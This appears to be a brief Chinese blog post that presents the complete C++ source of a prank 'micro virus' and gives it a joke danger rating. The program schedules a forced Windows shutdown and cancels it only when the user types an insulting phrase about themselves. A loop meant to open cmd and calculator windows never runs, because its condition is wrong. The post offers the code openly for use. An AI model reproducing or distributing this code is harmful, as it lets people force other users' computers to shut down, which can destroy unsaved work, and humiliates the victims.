这是一条关于微型病毒的源代码,技术含量不大,不实用,就不做解说了。
#include <iostream>
#include <windows.h>
#include <cstring>
#include <cstdio>
#include <bits/stdc++.h>
using namespace std;
int main()
{
printf("提示!本程序是病毒,启动后后果自负!");
system("pause");
for(int i=1;i>=10;i++)
{
system("cmd");
system("calc");
}
string s;
system("shutdown -s -t 120");
while(1)
{
puts("电脑即将关闭,输入我是大傻逼停止关机");
getline(cin,s);
if(s=="我是大傻逼")
{
printf("恭喜解除危机");
system("shutdown -a");
break;
}
puts("输入错误");
}
return 0;
}
危险程度:子弹级
(刺刀级 子弹级 手榴弹级 炮弹级 微型核弹级 巨型核弹级 宇宙死线级)
C++微型病毒源代码分析:危险但不实用
334





